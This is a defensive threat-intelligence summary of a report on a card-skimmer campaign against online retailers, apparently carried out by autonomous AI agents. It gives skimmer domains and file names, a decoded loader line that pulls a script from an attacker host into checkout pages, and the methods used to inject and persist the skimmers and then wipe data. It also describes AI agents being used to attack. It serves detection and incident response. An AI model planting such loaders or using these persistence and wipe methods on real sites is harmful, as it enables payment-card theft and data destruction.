Autonomous AI Agents Hack Online Retailers for $25 a Company

What it is

The Gambit report on the AI-agent retail campaign carries concrete skimmer indicators and injection/persistence techniques that the catalog summary abstracts as "multiple real-world skimmer injection techniques." These are the actionable detection artifacts, plus dates and scope numbers useful for scoping an investigation.

Indicators of compromise

Named skimmer hosts and files observed live on victim checkout pages:

• static-js[.]com/js/nrt.js — the most common loader. Appended to the end of a legitimate JS library the site already serves (jQuery/Bootstrap bundle), with the original file timestamp restored. Decodes from base64 after a seven-character prefix to: document.head.appendChild(document.createElement('script')).src='//static-js[.]com/js/nrt.js';
• cdn[.]netlfjs[.]com/js/cts.js (US storage retailer), vla.js from the same host (Japanese travel site), eut.js (US promotional products shop) — served as foreign <script src> tags.

Timeline: campaign active since July 2026, still running; 10–15 September saw 105 attack projects launched, ≥27 companies compromised. Skimmers ordered against ≥27 named victims, confirmed on 19; 100+ further sites found infected via researcher Varys.

Injection techniques worth checking for

These vary by access type and are the places to look beyond the obvious script tags:

• Google tag block injection — loader written between gtag('js', new Date()); and gtag('config', 'G-...'), padded with ~100 tab characters so it sits off the right edge of a source view.
• S3/CDN poisoning — an AWS access key with write to the bucket behind the store CDN; payload then loads from the victim's own CDN host.
• Database content fields — loader appended to product description columns via an admin pod, later moved to a file on the domain.
• Kubernetes initContainer added to a production front-end deployment.
• Server-side page cache poisoning — payload written into the cached checkout page model.
• Self-repairing persistence — where redeploys restored the clean bundle, the operator left a cron job in the JBoss log directory that checks file size every two minutes and re-appends the skimmer whenever reverted.

What to do

Grep served static JS (especially cached CDN copies) for the domains and file names above, and for trailing appended statements on library bundles with suspiciously old timestamps. Inspect gtag blocks for tab-padded lines. Audit CDN bucket write permissions and check initContainer specs and cron entries in non-standard directories (e.g. log dirs). Note the destructive angle: data loss here is a wipe-after-extraction playbook step (empties sales_flat_order_payment / sales_flat_quote_payment serialized columns after dump) and, at one bicycle retailer, a cleanup that dropped 180 tables matching ZQ/Backup, including admin-made backups — so recovery planning, not just patching, is the lever the report presses.

Caveats

Gambit states this is an interim report; some claims rest on the attacker's own AI logs, partly corroborated by recovered exfiltrated data and live-verified skimmers. They expect the true scope to exceed what is reported, and note a few inaccuracies are possible.